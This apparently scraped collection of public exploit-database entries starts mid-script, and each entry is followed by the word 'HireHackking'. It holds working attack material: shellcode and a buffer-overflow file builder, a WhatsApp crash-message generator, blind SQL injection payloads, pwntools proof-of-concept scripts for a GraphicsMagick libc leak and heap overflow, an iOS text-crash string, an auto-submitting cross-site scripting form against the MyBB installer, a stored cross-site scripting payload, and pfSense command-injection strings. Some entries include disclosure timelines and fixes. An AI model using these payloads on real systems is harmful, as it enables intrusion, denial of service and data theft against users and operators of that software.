"\x99\x6f\x01\x0f\x39\xfb\xb1\xeb\xb8\x28\x27\x7f\xb6\x85\x23"
"\x27\xda\x18\xe7\x53\xe6\x91\x06\xb4\x6f\xe1\x2c\x10\x34\xb1"
"\x4d\x01\x90\x14\x71\x51\x7b\xc8\xd7\x19\x91\x1d\x6a\x40\xff"
"\xe0\xf8\xfe\x4d\xe2\x02\x01\xe1\x8b\x33\x8a\x6e\xcb\xcb\x59"
"\xcb\x23\x86\xc0\x7d\xac\x4f\x91\x3c\xb1\x6f\x4f\x02\xcc\xf3"
"\x7a\xfa\x2b\xeb\x0e\xff\x70\xab\xe3\x8d\xe9\x5e\x04\x22\x09"
"\x4b\x67\xa5\x99\x17\x46\x40\x1a\xbd\x96")

evil = "\x90"*20 + shell
 
buffer = "A"*1008 + "\xEB\x06\x90\x90"+ "\x59\x78\x03\x10" + evil 

  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
HireHackking 
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Found this and more exploits on my open source security project: http://www.exploitpack.com
# Exploit Author: Juan Sacco <juan.sacco@kpn.com> at KPN Red Team - http://www.kpn.com
# Date and time of release: 11 October 2017
#
# Tested on: iPhone 5/6s iOS 10.3.3 and 11
#
# Description:
# WhatsApp 2.17.52 and prior is prone to a remote memory corruption.
# This type of attacks are possible if the program uses memory inefficiently and does not impose limits on the amount of state used when necessary.
#
# Impact:
# Resource exhaustion attacks exploit a design deficiency. An attacker could exploit this vulnerability to remotely corrupt the memory of the application forcing an uhandled exception
# in the context of the application that could potentially result in a denial-of-service condition and/or remote memory corruption.
#
# Warning note:
# Once a user receives the offending message it will automatically crash the application and if its restarted it will crash again until the message its manually removed from the user's history.
#
# Timeline:
# 09/13/2017 - Research started
# 09/13/2017 - First proof of concept
# 09/15/2017 - Reported to Whatsapp
# 09/20/2017 - Report Triaged by Facebook
# 11/01/2017 - Facebook never replied back with a status fix
# 11/01/2017 - Disclosure as zero day
# Vendor homepage: http://www.whatsapp.com
import sys
reload(sys)

def whatsapp(filename):
    sys.setdefaultencoding("utf-8")
    payload = u'ب ة ت ث ج ح خ د ذ ر ز س ش ص ض ط ظ ع غ ف ق ك ل م ن' * 1337
    sutf8 = payload.encode('UTF-8')
    print "[*] Writing to file: " + filename
    open(filename, 'w').write(payload)
    print "[*] Done."

def howtouse():
    print "Usage: whatsapp.py [FILENAME]"
    print "[*] Mandatory arguments:"
    print "[-] FILENAME"
    sys.exit(-1)

if __name__ == "__main__":
    try:
        print "[*] WhatsApp 2.17.52 iOS - Remote memory corruption by Juan Sacco"
        print "[*] How to use: Copy the content of the file and send it as a message to another whatsapp user or group"
        whatsapp(sys.argv[1])
    except IndexError:
        howtouse()
HireHackking 
# Exploit Title: Ingenious School Management System 2.3.0 - SQL injection
# Date: 01.11.2017
# Vendor Homepage: http://iloveprograming.com/
# Software Link: https://www.codester.com/items/4945/ingenious-school-management-system
# Demo: http://iloveprograming.com/view/login.php
# Version: 2.3.0
# Category: Webapps
# Tested on: Kali Linux 2.0
# Exploit Author: Giulio Comi
# Contact: https://<http://ihsan.net/>linkedin.com/in/giuliocomi
#Description

This vulnerability allows an attacker to inject SQL commands (without authentication) in 'friend_index' GET parameter.

# Proof of Concept:

http://localhost/view/friend_profile.php?friend_type=Student&friend_index=[SQL_injection_payload]


# Vulnerable Parameter: friend_index (GET)


    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: friend_type=Student&friend_index=1' AND 2576=2576 AND 'YJeg'='YJeg
    Vector: AND [INFERENCE]

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: friend_type=Student&friend_index=1' AND SLEEP(5) AND 'rliO'='rliO
    Vector: AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
HireHackking 
'''Vulnerabilities summary
The following advisory describes two (2) vulnerabilities found in GraphicsMagick.

GraphicsMagick is “The swiss army knife of image processing. Comprised of 267K physical lines (according to David A. Wheeler’s SLOCCount) of source code in the base package (or 1,225K including 3rd party libraries) it provides a robust and efficient collection of tools and libraries which support reading, writing, and manipulating an image in over 88 major formats including important formats like DPX, GIF, JPEG, JPEG-2000, PNG, PDF, PNM, and TIFF.”

The vulnerabilities found are:

Memory Information Disclosure
Heap Overflow
Credit
An independent security researchers, Jeremy Heng (@nn_amon) and Terry Chia (Ayrx), has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
The vendor has released patches to address these vulnerabilities (15237:e4e1c2a581d8 and 15238:7292230dd18).

For more details: ftp://ftp.graphicsmagick.org/pub/GraphicsMagick/snapshots/ChangeLog.txt


Vulnerabilities details

Memory Information Disclosure
GraphicsMagick is vulnerable to a memory information disclosure vulnerability found in DescribeImage function of the magick/describe.c file.

The portion of the code containing the vulnerability responsible of printing the IPTC Profile information contained in the image.

This vulnerability can be triggered with a specially crafted MIFF file.

The code which triggers the vulnerable code path is:

63 MagickExport MagickPassFail DescribeImage(Image *image,FILE *file,
64                                           const MagickBool verbose)
65 {
...
660       for (i=0; i < profile_length; )
661         {
662           if (profile[i] != 0x1c)
663             {
664               i++;
665               continue;
666             }
667           i++;  /* skip file separator */
668           i++;  /* skip record number */
...
725           i++;
726           (void) fprintf(file,"    %.1024s:\n",tag);
727           length=profile[i++] << 8;
728           length|=profile[i++];
729           text=MagickAllocateMemory(char *,length+1);
730           if (text != (char *) NULL)
731             {
732               char
733                 **textlist;
734
735               register unsigned long
736                 j;
737
738               (void) strncpy(text,(char *) profile+i,length);
739               text[length]='\0';
740               textlist=StringToList(text);
741               if (textlist != (char **) NULL)
742                 {
743                   for (j=0; textlist[j] != (char *) NULL; j++)
744                     {
745                       (void) fprintf(file,"  %s\n",textlist[j]);
...
752           i+=length;
753         }


The value in profile_length variable is set in the following field in the MIFF header: profile-iptc=8

There is an out-of-bounds buffer dereference whenever profile[i] is accessed because the increments of i is never checked.

If we break on line 738 of describe.c, we can explore what is present on the heap during the strncpy operation.


gef➤  x/2xg profile
0x8be210:    0x08000a001c414141    0x00007ffff690fba8


The 8 bytes 0x08000a001c414141 is the profile payload present in the specially crafted MIFF file.


41 41 41 - padding
1C - sentinel check in line 662
00 - padding
0A - "Priority" tag
08 00 - 8 in big endian, the length


If we examine the value 0x00007ffff690fba8 adjacent to the payload, it becomes apparent that it is an address within the main_arena struct in libc.


gef➤  x/xw 0x00007ffff690fba8
0x7ffff690fba8 <main_arena+136>:    0x008cdc40
gef➤  vmmap libc
Start              End                Offset             Perm Path
0x00007ffff654b000 0x00007ffff670b000 0x0000000000000000 r-x
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff670b000 0x00007ffff690b000 0x00000000001c0000 ---
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690b000 0x00007ffff690f000 0x00000000001c0000 r--
/lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff690f000 0x00007ffff6911000 0x00000000001c4000 rw-
/lib/x86_64-linux-gnu/libc-2.23.so

Now we can calculate the offset to libc base – 0x3c4b98

Proof of Concept

$ python miff/readexploit.py
[+] Starting local process ‘/usr/bin/gm’: pid 20019
[+] Receiving all data: Done (1.27KB)
[*] Process ‘/usr/bin/gm’ stopped with exit code 0 (pid 20019)
[*] Main Arena Leak: 0x7f72948adb98
[*] libc Base: 0x7f72944e9000

#!/usr/bin/python
# GraphicsMagick IPTC Profile libc Leak
 
from pwn import *
 
directory = "DIR"
partitions = ('id=ImageMagick  version=1.0\nclass=DirectClass  matte=False\n' +
              'columns=1  rows=1  depth=16\nscene=1\nmontage=1x1+0+0\nprofil' +
              'e-iptc=',
              '\n\x0c\n:\x1a',
              '\n\x00',
              '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "readexploit.miff"
length = 8
 
#libc_main_arena_entry_offset = 0x3c4ba8
libc_main_arena_entry_offset = 0x3c4b98
 
def main():
    data = "AAA" + "\x1c" + "\x00" + chr(10) + p16(0x8, endian="big")
    header = partitions[0] + str(length) + partitions[1]
    payload = header + directory + partitions[2] + data + partitions[3]
    file(output, "w").write(payload)
 
    p = process(executable="gm", argv=["identify", "-verbose", output])
    output_leak = p.recvall()
    priority_offset = output_leak.index("Priority:") + 12
    montage_offset = output_leak.index("Montage:") - 3
    leak = output_leak[priority_offset:montage_offset]
    if "0x00000000" in leak:
        log.info("Unlucky run. Value corrupted by StringToList")
        exit()
    main_arena_leak = u64(leak.ljust(8, "\x00"))
    log.info("Main Arena Leak: 0x%x" % main_arena_leak)
    libc_base = main_arena_leak - libc_main_arena_entry_offset
    log.info("libc Base: 0x%x" % libc_base)
 
if __name__ == "__main__":
    main()

    
Heap Overflow
GraphicsMagick is vulnerable to a heap overflow vulnerability found in DescribeImage() function of the magick/describe.c file.

The call to strncpy on line 855 does not limit the size to be copied to the size of the buffer copied to. Instead, the size is calculated by searching for a newline or a null byte in the directory name.

844       /*
845         Display visual image directory.
846       */
847       image_info=CloneImageInfo((ImageInfo *) NULL);
848       (void) CloneString(&image_info->size,"64x64");
849       (void) fprintf(file,"  Directory:\n");
850       for (p=image->directory; *p != '\0'; p++)
851         {
852           q=p;
853           while ((*q != '\n') && (*q != '\0'))
854             q++;
855           (void) strncpy(image_info->filename,p,q-p);
856           image_info->filename[q-p]='\0';
857           p=q;
...
880         }
881       DestroyImageInfo(image_info);

Since the field filename in the ImageInfo struct has the static size of 2053, the heap can be corrupted by forging an overly long directory name.


type = struct _ImageInfo {
...
    FILE *file;
    char magick[2053];
    char filename[2053];
    _CacheInfoPtr_ cache;
    void *definitions;
    Image *attributes;
    unsigned int ping;
    PreviewType preview_type;
    unsigned int affirm;
    _BlobInfoPtr_ blob;
    size_t length;
    char unique[2053];
    char zero[2053];
    unsigned long signature;
}

One possible way to trigger the vulnerability is to run the identify command on a specially crafted MIFF format file with the verbose flag.

Proof of Concept
The following proof of concept script will generate a specially crafted MIFF file exploit.miff.
'''

#!/usr/bin/python
 
from pwn import *
 
partitions = ('id=ImageMagick  version=1.0\nclass=DirectClass  matte=False\n' +
              'columns=1  rows=1  depth=16\nscene=1\nmontage=1x1+0+0\n\x0c\n' +
              ':\x1a',
              '\n\x00\xbe\xbe\xbe\xbe\xbe\xbe\n')
output = "exploit.miff"
 
def main():
    payload = "A"*10000
    payload = partitions[0] + payload + partitions[1]
    file(output, "w").write(payload)
 
if __name__ == "__main__":
    main()

'''    
Running the GraphicsMagick gm utility with the arguments identify -verbose in GDB and breaking after the vulnerable strncpy call, and examining the corrupted ImageInfo object demonstrates that the heap corruption was successful.


gef➤  r identify -verbose exploit.miff
...
gef➤  br describe.c:856
Breakpoint 1 at 0x4571df: file magick/describe.c, line 856.
...
gef➤  p *image_info
$3 = {
...
  compression = UndefinedCompression,
  file = 0x0,
  magick = '\000' <repeats 2052 times>,
  filename = 'A' <repeats 2053 times>,
  cache = 0x4141414141414141,
  definitions = 0x4141414141414141,
  attributes = 0x4141414141414141,
  ping = 0x41414141,
  preview_type = 1094795585,
  affirm = 0x41414141,
  blob = 0x4141414141414141,
  length = 0x4141414141414141,
  unique = 'A' <repeats 2053 times>,
  zero = 'A' <repeats 2053 times>,
  signature = 0x4141414141414141
}
'''
HireHackking 
# Exploit Title: TpwnT - iOS Denail of Service POC
# Date: 10-31-2017
# Exploit Author: Russian Otter (Ro)
# Vendor Homepage: https://support.apple.com/en-us/HT208222
# Version: 2.1
# Tested on: iOS 10.3.2 - 11.1
# CVE: CVE-2017-13849

"""
-------------------------
     CVE-2017-13849
  TpwnT by Ro of SavSec
-------------------------

Description:
	Thread Pwning Text (TpwnT) is maliciously crafted text that affects the iPhone and other Apple devices by exploiting a vulnerability found in the Core-Text firmware which results in a thread crash or extreme application lag!

Recorded Tests / Results:
	Signal version 2.14.1 on iOS 10.3.2 (fixed on 2.15.3) users were able to crash conversations by sending the payload which would result in the app crashing when the selected chat was opened.
	
	Instagram version 10.25 (fixed on 10.31) on iOS 10.3.2 and resulting in chat thread crashes when the payload was sent which disallowed users to load chat or send messages. When the payload was unsent the chat was fuctional.
	
	Pythonista 3 on iOS 10.3.2, crashed when displaying multiple sets of TpwnT or while rotating the device.
	
Summary:
	When displaying the TpwnT Characters on iOS < 11.1 the iPhone may lag intensely or crash on certain apps!
	This allows for the possibility of DoS related attacks or application crashing attacks.

Creator: @Russian_Otter (Ro)
Discovery: 7-17-2017
Disclosure: 10-31-2017
Disclosure Page: https://support.apple.com/en-us/HT208222

Affected Devices
	iPhone 5S iOS < 11.1
	iPhone 6 & 6S iOS < 11.1
	iPhone 7 iOS < 11.1
	iPhone 8 iOS < 11.1
	iPhone X iOS < 11.1
	Apple TV 4th Generation
	Apple TV 4K 4th Generation
	iPod Touch 6th Generation
	iPad Air
	watchOS < 4.1
	tvOS < 11.1
	iOS < 11.1

Tested Devices:
	iPhone 5S iOS 10.3.2 - 11.1
	iPhone 6S iOS 10.3.1 - 11.1
	iPad Mini 2 iOS 10.3.2
	Apple TV 2 tvOS 10

Tested Apps:
	Signal
	Instagram
	Snapchat
	Safari
	Tanktastic
	Pythonista 3
	Notepad

"""

tpwnt = "880 881 883 887 888 975 1159 1275 1276 1277 1278 1302 1304 1305 1306 1311 1313 1314 1316 1317 1318 1319 1322 1323 1324 1325 1326 1327 1328 1543 2304 2405 3073 3559 3585 3586 4091 4183 4184 4353 6366 6798 7679 7680 7837 7930 7932 7933 7934 7935 7936 8343 8344 8345 8346 8347 8348 8349 8376 8381 8382 8383 8384 8524 9136 9169 10215 10216 11153 11374 11377 11381 11390 11392 11746 11747 11748 11749 11750 11751 11752 11753 11754 11755 11756 11757 11758 11759 11760 11761 11762 11763 11764 11765 11766 11767 11768 11769 11771 11772 11773 11774 11775 11776 11811 11813 11814 12295 12344 12357 12686 19971 19975 42560 42562 42563 42564 42565 42566 42567 42568 42569 42570 42571 42572 42573 42574 42575 42576 42577 42578 42579 42580 42581 42583 42584 42585 42587 42588 42589 42590 42591 42592 42594 42595 42596 42597 42598 42599 42600 42601 42602 42603 42604 42605 42606 42608 42609 42610 42611 42612 42613 42614 42615 42616 42617 42619 42620 42621 42622 42623 42624 42625 42627 42628 42629 42630 42632 42633 42634".split()

payload = ""
for i in tpwnt:
	s = unichr(int(i))
	payload += s

payload = bytes(payload)
payload_unicode = unicode(payload)

# Proof of Concept
# iOS < 11.1 Devices that display these characters should experience lag or crashes while TpwnT is visible

if raw_input("Show Payload [y/n] ") == "y":
	print payload_unicode
HireHackking 
# Exploit Title: XSS in MyBB up to 1.8.13 via installer
# Date: Found on 05-29-2017
# Exploit Author: Pablo Sacristan
# Vendor Homepage: https://mybb.com/
# Version: Version > 1.8.13 (Fixed in 1.8.13)
# CVE : CVE-2017-16781

No HTML escaping when returning an $error in /install/index.php can
lead to an XSS which can be used to take over an attacker account.

The vulnerability occurs in /install/index.php:2503 and occurs because
there is no html encoding of the $error. A simple way to exploit this
is to create an error by using the Database Server Hostname and
inserting HTML characters there.

It is a POST XSS and this is a PoC:
<form name="x" action="http://target.com/install/index.php" method="post">

<input type="hidden" name='dbengine' value="mysqli">
<input type="hidden" name='config[mysqli][dbhost]' value="<img src=x onerror=alert(0)>">
<input type="hidden" name='config[mysqli][dbuser]' value="lol">
<input type="hidden" name='config[mysqli][dbpass]' value="lol">
<input type="hidden" name='config[mysqli][dbname]' value="lol">
<input type="hidden" name='config[mysqli][tableprefix]' value="lol">
<input type="hidden" name='config[mysqli][encoding]' value="utf8">
<input type="hidden" name='config[mysql][dbhost]' value="localhost">
<input type="hidden" name='action' value="create_tables">

</form>

<script>document.x.submit();</script>

Using this attack you can steal the cookies and you can install the MyBB server as you want, giving you almost full control over the MyBB server.

A simple fix would be to change the function error_list($array) to:
function error_list($array)
{
 $string = "<ul>\n";
 foreach($array as $error)
 {
            $string .= "<li>";
            $string .= htmlspecialchars($error);
            $string .= "</li>";
 }
 $string .= "</ul>\n";
 return $string;
}
HireHackking 
# Exploit Title: KirbyCMS <2.5.7 Stored Cross Site Scripting
# Vendor Homepage: https://getkirby.com/
# Software Link: https://getkirby.com/try
# Discovered by: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# Platform: PHP
# CVE: CVE-2017-16807

1. Description
   
A cross-site Scripting (XSS) vulnerability in Kirby Panel before 2.3.3, 2.4.x before 2.4.2, and 2.5.x before 2.5.7 exists when displaying a specially prepared SVG document that has been uploaded as a content file.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16807

2. Proof of Concept

Steps to Reproduce:
Log in as an Editor and click on Site Options
Add the malicious .svg file which contains the javascript to the Site
Login to another browser with Admin Credentials.
Click on Site Options.
Click on the newly added .svg file

3. Reference

https://securityprince.blogspot.in/2017/11/cve-2017-16807-kirby-cms-257-cross-site.html   
https://getkirby.com/changelog/kirby-2-5-7

4. Solution

The vulnerability is patched by the vendor in the version 2.5.7.
HireHackking 
# Exploit Title: Icon Time Systems RTC-1000 (<= v2.5.7458) Universal Time Clocks Stored XSS Vulnerability
# Date: 17-11-2017
# Vendor: http://www.icontime.com/
# Version: <= v2.5.7458
# Exploit Author: Keith Thome
# Contact: https://twitter.com/keiththome
# Website: https://www.keiththome.com/rtc-1000-vuln
# CVE: CVE-2017-16819
# Type: Remote
# Platform: Hardware

==========================================================

# Introduction
The Icon Time Systems RTC-1000 (firmware v2.5.7458 and below) Universal Time Clock device is susceptible to a stored Cross Site Scripting (XSS) vulnerability that facilitates session hijacking. Injecting a session hijacking XSS payload into the ‘First Name’ field of an employee record on the employee.html webpage results in payload execution wherever this employee's first name appears in subsequent webpages. Caveat: To exploit this vulnerability, the attacker does need valid credentials to access the device and those credentials must have permissions to change employee names.

==========================================================

# Vulnerable URL (Employee Maintenance Module)
/employee.html

# Vulnerable parameter(s)
- First Name input ID: nameFirst

# Sample payload
<script>alert("xss");</script>

==========================================================

# PROOF OF CONCEPT
- With valid credentials that has permissions to modify the employee records, access the employeelist.html page via Lists->Employees
- Click on an active employee or Show Inactive to modify an employee record.
- Click on the employee id or name to access the vulnerable employee.html page.
- In the First Name field, enter a XSS payload.
- Click Submit
- Once any user accesses a page where that employee's first name is displayed, the XSS will be executed. Ie. employeelist.html that lists all employees.

==========================================================

# Timeline
- 09/08/2017 - Vulnerability discovered.
- 09/15/2017 - Vendor informed.
- 09/19/2017 - Vendor informed.
- 09/19/2017 - Vendor acknowleged and indicated patch development underway.
- 10/24/2017 - Emailed vendor for update. No response.
- 11/17/2017 - Public Disclosure
HireHackking 
# Exploit Title: pfSense <= 2.3.1_1 Post-Auth Command Execution
# Date: 11-06-2017
# Exploit Author: s4squatch (Scott White - www.trustedsec.com)
# Vendor Homepage: https://www.pfsense.org
# Version: 2.3-RELEASE
# Vendor Security Advisory:  https://www.pfsense.org/security/advisories/pfSense-SA-16_08.webgui.asc

1. Description
pfSense <= 2.3.1_1 is affected by a post-authetication os command injection vulnerability in auth.inc via the /system_groupmanager.php page (System menu-->User Manager-->Groups) in the handling of the members[] parameter.  This allows an authenticated WebGUI user with
privileges for system_groupmanager.php to execute commands in the context of the root user.

2. Proof of Concept
'`ifconfig>/usr/local/www/ifconfig.txt`'
'`whoami>/usr/local/www/whoami.txt`'

Command output can then be viewed at the webroot:
http://<address>/ifconfig.txt
http://<address>/whoami.txt

Another POC:  0';/sbin/ping -c 10 192.168.1.125;'

3.  Solution
Upgrade to the latest version of pfSense (2.3.1_5 on is fixed). This may be performed in the web interface or from
the console.  See https://doc.pfsense.org/index.php/Upgrade_Guide  Furthermore, the issues can be mitigated by restricting access to the firewall GUI both with firewall rules and by not allowing untrusted users to have accounts with GUI access, and by not granting untrusted administrators access to the pages in question.

Issue was responsibly disclosed to pfSense (security@pfsense.org) on 06/08/2016 and fixed 06/09/2016!
Thank you to Jim P and the pfSense team for the impressive response time.